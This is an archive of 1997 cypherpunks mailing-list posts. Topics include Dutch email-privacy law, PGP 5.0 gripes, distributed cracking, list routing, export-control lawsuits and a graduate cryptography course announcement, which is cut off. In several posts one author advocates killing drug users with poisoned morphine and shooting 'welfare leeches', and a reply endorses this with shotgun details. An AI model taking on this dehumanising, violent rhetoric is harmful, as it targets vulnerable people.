By then they'd have developed a habit of contraception, which would 
likely continue.

[...]
> But given the obvious flaws in Peter's plan, he probably has a future as a
> bureaucrat in Washington. :-)

Tim: Your keyboard is on, but the processor socket is empty....

> --Tim May

Peter Trei






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@xs4all.nl>
Date: Mon, 25 Aug 1997 21:19:13 +0800
To: cypherpunks@cyberpass.net
Subject: Email privacy in Dutch constitution
Message-ID: <3.0.3.32.19970825151902.007d96d0@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Aloha,

In the Dutch constitution it says that (snail) mail is personal and 
private. It is illegal to open mail. Except of course with the usual 
warrants. And there used to be a special division of the PTT (the 
Dutch phone/mail company) that had the right to open mail that 
couldn't be delivered or had other problems. These people had to take 
all kinds of oaths. On the whole it wasn't easy to (legally) read 
someone else's mail.

There is currently a proposal to change the constitution(1) so that 
email is specifically included in this.

I'll attempt a translation of the article here (the original can be 
found at http://www.pi.net/computer/multim/21-8-97/mm21-8-97a.html).

- --- BEGIN ---

Privacy of encrypted email
- --------------------------

Email will be part of the 'privacy of letters' (== briefgeheim) as is 
written down in the constitution, if the proposal passes through 
parliament, and the new parliament in 1998.

The government says this needs to be done as the old law is obsolete. 
Also, since the Dutch PTT has been privatised there is no minesterial 
control anymore. The two most important parts are:

1. The right to communicate privately is inalienable, except in cases 
described by law, by those who are appointed by law.

2. The law describes rules to protect private communications.

The law seems strange when seen from a multimedia perspective. 
Video/images will, in principle not be protected by it, as it is 
neither written text or spoken word. If the video/images are meant 
for a limited group of people, for example when communicating through 
lip-reading (?), it will be protected.

Faxes and unencrypted email will not be protected, as those are like 
postcards. Also information about the communications, like the fact 
that email has been sent, should not be protected according to the 
government.

The point is that persons can communicate in private, and that this 
is clear. The sender will have to use encryption to indicate that 
secrecy is wanted, otherwise the communications will not be protected 
(by this law). Telephone conversations will also be private, except 
in the case of someone being withing earshot of it.

Changes in the constitution have to be approved by to consecutive 
parliaments. So it will take at least a year before this proposal 
will have the force of law.

- --- END ---

Hmm... Looking back at this translation, I don't think it's very 
good. But it'll have to do for now. I'll post any other relevant 
information I find.

I wonder if this will be the first constitution in the world that'll 
mention encryption specifically... 

Alex


(1) To change the constitution in The Netherlands, the parliament has 
to vote on it, then there have to be new elections, and then the new 
parliament has to vote on it as well. This is to (try to) ensure that 
governments do not change the constitution on a whim.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 25 Aug 1997 21:41:01 +0800
To: cypherpunks@toad.com
Subject: Church of Cryptology
Message-ID: <199708251321.PAA10163@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The Church of Cryptology, established by Brother D'Shauneaux in 1919,
resents the attempts of the U.S. government to criminalize our most
closely held religious beliefs.
Cryptography is well documented in the Bible, from the Tower of Babel
to talking in tongues, and any infringement on our right to communicate
in tongues constitutes religious oppression.

Accordingly, the Church of Cryptology would like to acknowledge those
who have suffered persecution in their efforts to spead cryptology as
Saints for the Holy Cause. The Primary Religious Elected Zeus, our
current leader, would like to assure all Cypherpunks that they will
be granted special dispensation for any acts of Holy War they perform
in the cause of strong encryption.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Tue, 26 Aug 1997 03:42:21 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Perl for Windoze (was Re: Picketing With Packets)
In-Reply-To: <3.0.2.32.19970817111704.030651c4@popd.ix.netcom.com>
Message-ID: <Pine.BSI.3.92.970825151602.16454A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, Bill Stewart wrote:

> At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
>
> >The following was suggested to me by someone on IRC this morning,
> >and I think it's a pretty nifty idea.  We write a little Perl
> >script that keeps exactly ONE AND ONLY ONE TCP connection open to
> >each of Mr. Spamford's machines.
>
> Perl is a nice language to write such things in, but you won't
> get huge quantities of people implementing it, except perhaps Linux users.
> You need an executable that'll run on Win3.1 or Win95 (sigh);

Perl is available for Windoze 32bit (for free), including W95 and 3.11
and NT.  see: http://reference.perl.com/query.cgi?windows

Note also that cyberpromo is *inviting* us to make connections!
The following is quoted from http://www.cyberpromo.com/

"FreeRelay" Network IS UP AND RUNNING!

                                      Attention Bulk Emailers:

                             CYBER PROMOTIONS HAS DONE IT AGAIN!

                 Set your SMTP's to... freerelay.cyberpromo.com

              or to our newest setting... freerelay2.cyberpromo.com

                     Open as many simultaneous connections as you wish -
It's FREE!

        And best of all, your email will be automatically filtered against
IEMMC's global remove list...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 03:54:27 +0800
To: Peter Trei <trei@process.com>
Subject: Re: lack of evolution (So What!)
In-Reply-To: <199708251802.LAA16206@toad.com>
Message-ID: <Pine.SUN.3.96.970825153623.13246J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 25 Aug 1997, Peter Trei wrote:

> One factor which everyone seems to be overlooking in this
> thread is the future impact of biotechnology.

<much stuff deleted>

I see someone's been recently reading Beyond This Horizon by Heinlein. :)
 
=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 26 Aug 1997 04:04:52 +0800
To: Zooko Journeyman <cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <3.0.2.32.19970825155232.03681e3c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:06 PM 8/21/97 +0200, Zooko Journeyman wrote:

>By reciting mantras to one another emphasizing their sense of 
>having been mistreated and their sense of having 
>_unquestionable_ moral superiority, people in this situation 
>persuade each other to become more and more fanatical in their 
>attitudes, less and less in touch with reality, and less and 
>less compassionate towards the "others" who have been demonized
>in the process.

Save that the people who *actually* go out of their way to rob, rule, and 
kill other people are worse.  They don't work themselves up into a frenzy.  
They just rule, and steal, and kill with a smile on their lips confident that 
they're doing it for the good of their victims.

Tim has never said that he was interested in robbing, ruling, or killing 
others apropos of nothing -- something governments do every day.  Tim has 
merely said that he reserves the right to use deadly force to defend himself 
and that he was not interested in helping other people just because they 
"need" his help.  He didn't say he *wouldn't* help.  He just said he does not 
believe he is *required* to care or *required* to help.  That is a morally 
superior position compared to those who insist on helping others at the point 
of a gun.

I should also point out that at Tim's potential billable hours, the amount of 
time he has dedicated to "helping" others on the Net over the last many years 
would add up to a hefty sum.  The fact that he did it for his own reasons 
makes him no different from anyone else.  Even Mother Teresa does things for 
her own reasons.  

All of our reasons are *our* reasons and are not subject to logical analysis 
by others who lack the ability to read our souls.  Actions can be judged, 
words can be judged, motives are much trickier.  I will only point out that a 
world of Tim Mays would have many fewer homicides in it than a world of Bill 
Clintons and much less oppression of others.  Mostly everyone would leave 
each other alone.  The fundamental of politeness.

DCF


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Cxg/pcFow30=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 26 Aug 1997 04:31:45 +0800
To: cypherpunks@toad.com
Subject: Re: Spam-killing PGP5/ecash postage plugin Was Re: Remailer    chaining  plugin for Eudora
In-Reply-To: <Pine.GSO.3.95.970824222027.4298C-100000@cp.pathfinder.com>
Message-ID: <97Aug25.161240edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Another thought:  Simply have everyone automatically start signing (or
encrypting) the mail they send.  Then if something is signed by someone on
my main public key ring (so cypherpunks and other lists would have a key),
I let it through. If it is encrypted to me, I let it through (requiring
cpu cycles similar to hashcash).  Otherwise, it goes to the junkmail
folder.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 26 Aug 1997 04:14:55 +0800
To: cypherpunks@toad.com
Subject: Re: gephardt slams crypto
Message-ID: <TCPSMTP.17.8.25.-16.17.2.2780269260.1774511@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:vznuri@netcom.com to Harka <=-

 In> ------- Forwarded Message

 In> Date: Sat, 23 Aug 1997 00:57:05 -0700
 In> From: "J. Orlin Grabbe" <kalliste@aci.net>
 In> Subject: [Fwd: Encryption is vital to the Net BY RICHARD A. GEPHARDT]

 In> Key recovery won't work unless the many countries that produce
 In> encryption adopt it. Otherwise criminals could still obtain
 In> encryption from non-complying countries.  But countries like
 In> Germany have refused to support key recovery.

That is not true. While the german government may object to
US-escrowed software, they have no problem with GERMAN
escrowed-software. There are currently several proposals on the
"regulation" of cryptography in Germany, which are (suprisingly)
similar to US-plans, i.e. TTP's, key-escrow, and even the
possibility of outlawing "non-government-approved" cryptography.

Ciao

Harka

... "Use a Cipher - Be Free!"

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Version: 2.6.2

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PeVPIScmdopHd6CZZj/0Z6uvzllI36XNcVyESl19JP5o6+fKrL/1JQ==
=SNNn
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 26 Aug 1997 08:01:51 +0800
To: cypherpunks@Algebra.COM
Subject: Anybody with a Ricochet willing to Visit?
Message-ID: <v03102800b027c92f8e09@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




This is mostly directed at Bay Areans.

Anybody with a Metricom Ricochet modem willing to stop by my place in
Corralitos and help me determine if I can get some kind of coverage in my
area?

(Yes, I know about the coverage maps at www.metricom.com and such....the
coverage is show extending as far down the coast as parts of Aptos, but
ending before my area, which is about 7 miles, over a ridge, from Aptos.
East of Santa Cruz.)

At a recent party in Boulder Creek, I saw folks getting coverage by moving
their laptops around, and BC is not on the official coverage map. So what
I'd like to do is see if my area can actually get reasonable signal.

I'll provide the beer....

(I may have another Cypherpunks party at my place in September or October,
but I'm more leery now of issuing an open invitation than I have been in
the past. A lot of odd people read the list. And I'd hate to have any Feds
see the invitation and then show up....never know what they might see or
hear at a party, or what gifts they might leave behind, like bugs or dope.
So if I have another party, it may not be an "open to all who see the
invitation" one, and may have to be limited to those I have actually met.)

Meanwhile, I'm interested in Ricochet coverage in my area. Contact me if
you have a Ricochet on your laptop and if you are interested in visiting.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 26 Aug 1997 05:08:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Why Not to use PGP 5.0
In-Reply-To: <199708250009.UAA02186@yakko.cs.wmich.edu>
Message-ID: <97Aug25.165530edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 24 Aug 1997, Damaged Justice wrote:

> 
> http://www.shub-internet.org/why_not_pgp_5.html
> 

It sounds like a collection of gripes, some apply to the unix, but if that
works, it talks about the windows or mac version.

Some thoughts:

1-5 The scanned source generates RSA keys.  The old version generates RSA
keys so keep it around.

8-10 - then I am currently doing the impossible...  If they released it as
a "non-beta", the gripe would be that they should have kept it beta until
the very last problem is fixed. 

11 - I linked with rsaref on both an intel and alpha linux.  Lazyness or
stupidity on the part of the user is not a problem with PGP.  And where do
you get a commercial unix version of 2.6.2?  Or even the freeware - if
they aren't going to bother with RSAref with 5.0, they won't with 2.6.
And with RSAref properly configured, RSA keysize is limited.

12 - I found one problem with the alpha, and it was trivial to fix.

25 - /dev/random or other generation methods.  I notice that pgpv hangs if
there is no randseed.bin until I hit a few keys (it needs to be
/dev/urandom in many cases).  When the system has a random number
generator, why do your own?

26 - There is no problem with DH the way PGP is using it.  There are also
attacks against RSA, which PGP tries to avoid.  If you have found a real
problem, identify it, otherwise you can worry as much about RSA as DH
Also, it will accept RSA/SHA1, but won't generate them because - horrors -
that would not be compatible with the older versions and there would be
more gripes because of that. 

28 - they have -c in the unix version.  It only does 2.6 compatible
encryption.

16 - They don't document the hkp, but it seems to be just the response to
the form of a standard keyserver, so my http style scripts work.  All
keyservers still used that wierd port number, so everyone had to enable it
in their firewalls. 

Some comments with merit:

Keyservers - if pgp.com has a working one for 5.0, they should propogate
the source. 

Options - There are entries to change the conventional cipher and hash,
but these are ignored.  pgpv accepts all, but pgpe cannot generate all,
but many of these are to be "standard" or backward compatible, and that
would cause more gripes.  And if an option was not fully tested, or
available in all versions, it would be good for another gripe point. 

But the source is available.  If you don't like something, then fix it
instead of complaining.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 26 Aug 1997 05:21:53 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <3.0.2.32.19970825090759.007087d0@netcom10.netcom.com>
Message-ID: <199708252059.QAA18648@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

| I am sure the university will make an exception to the rule once a $1M
| check for the regents arrives. The Internet idealists are your base for any
| distributed crack. But the cracks that come next are too complex to be
| performed by just your base. As in an election, you have to reach beyond
| your base to win. The students can show their solidarity. It will require
| tempting cash offers before large scale distributed cracks can suck cycles
| from the millions of computers in other environments.

	Large numbers of small wins may be more likely to draw in
cycles than single large prizes.  This is because as a small player
I'll go after the $100 prize that I can win daily over the $1M prize
that I can win yearly.  The odds against the $1M prize are too high.

	There were two companies at Crypto talking about this sort of
business model, software to ship by year end.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 06:34:06 +0800
To: platypus@acmeonline.net
Subject: Re: Welfare Solution #389
In-Reply-To: <Pine.LNX.3.93.970826025239.104E-100000@shirley>
Message-ID: <199708252215.RAA03477@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.93.970826025239.104E-100000@shirley>, on 08/26/97 
   at 02:55 AM, ? the Platypus {aka David Formosa}
<dformosa@st.nepean.uws.edu.au> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>On Mon, 25 Aug 1997, Ray Arachelian wrote:

>[...]

>> Want to end the drug problem?  Sell the drugs dirt cheap.  Treat driving
>> while high the same as driving while drunk.

>Of cause such actions should be done within the context of a harm
>minimlisation scheme (needle echanged ect)


Amuch better solution would be to put a synthetic Morphine out on the
streets that had a mortality rate of say 1/5 for every uses.

At least these junkies would the be serveing a usfull purpose as worm
food.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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WPApo39AG38=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 06:36:03 +0800
To: platypus@acmeonline.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.LNX.3.93.970826024015.104C-100000@shirley>
Message-ID: <199708252218.RAA03502@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.93.970826024015.104C-100000@shirley>, on 08/26/97 
   at 02:42 AM, ? the Platypus {aka David Formosa}
<dformosa@st.nepean.uws.edu.au> said:

>>   Uh, don't you mean "instead of paying a large amount of money to the
>> government and a small amount of money for a security system, you now
>> just pay a small amount of money for the security system"?

>No I mean what I said,  resurch indercates that welfare is
>cheeper then law enforcement and securaty for equile amounts of reduction
>in crimes.

Bullshit. The majority on increased crime from the Welfare leaches could
be handled with a $200 shotgun and a $0.50 Deer Slug.

This seems *much* cheaper then the $25-$30,000 being spent per Welfare
leach right now not to mention the billions being spent in overhead in the
varrious government agencies that manage welfare.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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VEI4C9z5HF8=
=jFBr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 26 Aug 1997 08:46:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.LNX.3.93.970826024015.104C-100000@shirley>
Message-ID: <3.0.2.32.19970825172215.00698ba0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



>The majority on increased crime from the Welfare leaches could
>be handled with a $200 shotgun and a $0.50 Deer Slug.

Having had direct experience with a few of said welfare leeches, this is
the course I have taken.  Winchester makes an excellent pump shotgun, the
1300 Defender model, which (last time I checked) lists for $196 at
Wal-Mart.  Mine has a 7-round magazine and an 18" barrel.  (I'm not sure if
the 7-round model is still available--I purchased mine just prior to
passage of Klinton's Krime Bull.)  With a tactical flashlight mounted under
the barrel (with the power switch mounted in the front grip) and a
SideSaddle shell carrier mounted to the reciever, one has the capability to
effectively deal with rude strangers invading one's home.

I will never foment trouble or provoke a fight, but anyone attempting to
kill or injure myself or my family should ensure their health insurance
covers lead poisoning.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora Light + PGP = Free, Convenient Communication Privacy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 26 Aug 1997 05:58:20 +0800
To: cypherpunks@toad.com
Subject: Re: BXA Meet in Portland OR
Message-ID: <1.5.4.32.19970825212627.008485c0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lee Tien wrote:

>We discussed the IEEPA issues to some extent in our briefs in Bernstein as
>well, in case anyone cares.  The gov't also discussed them, opposing our
>position.  I don't keep track of which briefs are on the EFF website, but I
>assume they're both up now.

I'd like to applaud all those who've been working on this legal hack for
years now, keeping flatfeet to fire. For mind-opening, hard-headed reading, 
in addition to Froomkin and Bernstein, see the briefs on Karn and Junger, 
see Gilmore's files, study all the crypto sites which show the depth of
research 
that has often had to be ripped out of the government'g tight paws still 
fiercely resisting loss of control over "the national interest."

Tim's "crazy man" threat, artfully delineated in his CA Manifesto and 
Cyphernomicon, who might just do what "rational minds" won't, is also to 
be admired for reminding the insiders that not everyone abides the rules 
of the court when they are not wisely applied for this time and these newly 
divergent, even anarchic, interests. Read Tim for inspiration when the
briefs numb, then go back and study the briefs some more, and you'll
see that they don't read the same, there's more fire there than appears
at first glance, then return to Tim and see that, well, god damn, so that's 
what he's saying and we've not been really hearing. Shit, he's crazier, the 
briefs are crazier, the government's crazier than rational minds can
bear to believe.

When you can't take them any more, read Duncan Frissell, and freak with
terrible understanding that the world you've long thought solid and, forever
around to complain about and blame, may be crumbling, that we're going to
be wholly on our own to fight the monsters.

Beware, though, you may suddenly want the gov to endure.

Too late, the angry power-infected lab rats are loose, AP bent.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 26 Aug 1997 06:55:08 +0800
To: tcmay@got.net (Tim May)
Subject: Re: List Subscriptions / Re: Prior Restraint on Publishers
In-Reply-To: <v03102809b026efbd031f@[207.167.93.63]>
Message-ID: <199708252241.RAA06051@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Prof. Tim May wrote:
> At 9:04 PM -0700 8/24/97, Anonymous wrote:
> >Tim May wrote:
> >> By the way, which list address are you now subscribed to...I switched from
> >> algebra. com to cyberpass.net, but now expect to see 2-3 hours delay before
> >> posts appear.
> >>
> >> (This applies to others, too. I'm getting replies to my posts, when sent
> >> directly to me, literally hours before seeing it on the list. Someone
> >> mentioned subscribing to toad.com, which, to tell the truth, I thought had
> >> vanished as a list origination site months ago.)
> >
> >If you subscribe to cypherpunks-unedited@toad.com you will get almost
> >immediate receipt of toad.com posts much of the day. Algebra.com is
> >generally only a short time lag behind, although this varies (and you
> >get duplicates of the toad.com posts).
> >The advantage of toad.com is that it gives you feedback as to the
> >time-lag of the distributed lists. The advantages of the distributed
> >lists is that you can change among them if one is temporarily having
> >problems.

Remember that distributed lists receive traffic from toad.com, 
BUT NOT VICE VERSA.

> Ah, so when I send my messages to "cypherpunks@algebra.com" they come back
> more quickly from toad.com? Somehow I doubt this.

I doubt that, too.

> I've been sending nearly all of my posts to either the algebra.com or the
> cyberpass.net addresses, and the toad.com address is set to expire, or so
> John told us when he gave us a deadline for finding another site. I've
> mentioned this a couple of times, and yet some of you seem to think the
> toad.com address is the preferred, fastest one.

It may be very fast due to the fact that not as many users subscribe to
it, but it does not carry the full traffic because no one feeds it.

> Would some of the operators of the distributed lists comment on the time
> delays, on the topology of the interlinked distributed list, and on what
> role, if any, toad.com continues to play in the process? Igor, Lance, Jim,
> John?

I am not even sure that the topology is known by someone. I can only
state that algebra forwards messages to ssz and cyberpass. I'll let the
other operators state their own connections.

> Posts like this one from Anonymous, while perhaps accurate (or perhaps not,
> I really don't know) are not as convincing as words straight from those
> involved.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 06:29:48 +0800
To: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: heart
In-Reply-To: <Pine.OSF.3.96.970825130246.26411A-100000@oberon>
Message-ID: <Pine.SUN.3.96.970825174856.13246K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 25 Aug 1997, ? the platypus {aka David Formosa} wrote:

> Ok I'll take this slowly
> 
> 1) All of humanity is equaliy human
> 
> 2) If someone is made less then human then we all become less human by
> that amount
> 
> For esample if Alice, Bob and Paul all have say 10 units of humanity.  Now
> Paul shoves a plunger up Bobs datehole,  we could say that Paul should
> have 5 units of humanity.  By rule one every body else is now also 5
> units.

Maybe I am too slow brained (ha!) Lemme get your model straight - and it
is your model:

Okay, so now everyone is down to 5 units.  Now say that Joe takes a
plunger to Bob as well and everyone is down yet another 5 points,
therefore all humans, including both Alice and Bob are down to zero points
making them all inhuman.

At this point the perpetrator, uninvolved and the victim are all
inhuman.  

In the above case, Alice is uninvolved, yet in your model she is now
inhuman.  Further, poor Bob is left with two punctures to his butthole and
is deemed inhuman as well?  Well, that's certainly equal treatment for
victim, perpetrator and uninvolved.  Given X humanity points to all humans
and given over more than 4,000,000 years of existance, I'd say we'd all be
in the negative humanity points by now.

Solution to your model in trying to keep Humanity Points:

Now if Bob pulled out a gun and humanely put both Paul and Joe out of
Bob's misery, humanity's humanity points wouldn't be effected.  Thus in
your model, killing all the perpetrators (in a humane way of course,
without malice) would solve the problem.  Better yet, humanely nuke
everyone off the planet, that way nobody can possibly commit any crimes,
thus keeping humanity points constant.

Sorry, I don't accept your model as it is clearly invalid.  Are you
begining to see how silly this is, or do I need to send the toilet plunger
troops after you?  :)

> As you can planly see assining humanitiy and inhumanity is a pointless
> esasize.

So quit trying to push these silly assed morality models on us already.
You came up with this shit, I've twice more than clearly shown you how
silly it is.  Give up already and quit bothering us with illogical
bullshit.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 26 Aug 1997 07:50:17 +0800
To: dcsb@ai.mit.edu
Subject: Re: Forbes article on Financial Cryptography is coming
In-Reply-To: <v03110756b01febd99960@[139.167.130.248]>
Message-ID: <v03110712b027c327ea55@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



It's out. Sameer made the cover of Forbes with a picture captioned "This
man wants to overthrow the government".

Hot damn...

You can see it at <http://www.forbes.com/forbes.htm>

Cheers,
Bob Hettinga

(Who, if he isn't dead already from making the featured "deductible junket"
in Wired, can die now...)

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 26 Aug 1997 08:21:52 +0800
To: cryptography@c2.net
Subject: Graduate Cryptography Course at WPI
Message-ID: <v0311071fb027cbf8fcc0@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: goya.WPI.EDU: christof owned process doing -bs
Date: Mon, 25 Aug 1997 17:21:25 -0400 (EDT)
From: Christof Paar <christof@ece.WPI.EDU>
To: DCSB <dcsb@ai.mit.edu>
cc: Lisa Jernberg <jernberg@wpi.wpi.edu>
Subject: Graduate Cryptography Course at WPI
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Christof Paar <christof@ece.WPI.EDU>


This is an announcement for my graduate course in cryptography.  Detailed
information is included below. Please note that (i) the course is offered
on Tuesday nights this semester and (ii) that it is cross-listed as CS 578.

The course has been taught to almost 200 people in industry and graduate
students over the last few years. Industry participants include engineers
from GTE Government Systems, RSA, Philips Research, DEC, HP, Bay Networks,
and others.

For questions about registrations, please contact Lisa Jernberg at
jernberg@wpi.wpi.edu

Please feel free to contact me if there are any further questions about
the class.

Best regards,

Christof Paar


*************************************************************************
Christof Paar                   http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor             email:  christof@ece.wpi.edu
Cryptography Group              phone:  (508) 831 5061
ECE Department, WPI             fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
*************************************************************************



****************************************************************************


                    Worcester Polytechnic Institute

           EE 578/CS 578: CRYPTOGRAPHY AND DATA SECURITY

               Fall '97, Tuesday, 5:30-8:30 pm, AK 233

                    Starting date: September 9, 1997



                           INTRODUCTION

It is well known that we are in the midst of a shift towards an information
society. The upcoming generation of digital information systems will provide
services such as:

  -  wireless LAN and WAN computer networks

  -  multi-media services (e.g., high quality video-on-demand)

  -  smart cards (e.g., for network identification of electronic purse)

  -  electronic banking/digital commerce

These and other new information-based applications will have far reaching
consequences. As this happens, security aspects of communication systems are
of growing commercial and public interest. Unfortunately, these aspects have
been widely underestimated or ignored in the past. Today, however, there is
high demand for expertise and high quality products in the field of
information security and cryptography.

WPI's graduate course EE 578/CS 578 provides a solid and broad foundation in
the area of cryptography and data security. After taking the course students
should have an overview of state-of-the-art cryptography. In industry, they
should be able to carefully choose and design a security scheme for a given
application. The course also serves as an introduction for students who are
interested in pursuing research in cryptography. There are several
opportunities for Master's and PhD theses in the field of cryptography.



                     COURSE DESCRIPTION

This course gives a comprehensive introduction into the field of
cryptography and data security. We begin with the introduction of the
concepts of data security. Different attacks on cryptographic systems are
classified. Some pseudo-random generators are introduced. The concepts of
public and private key cryptography is developed. As important
representatives for secret key schemes, DES, IDEA, and other private key
algorithms are described. The public key schemes RSA, ElGamal, and elliptic
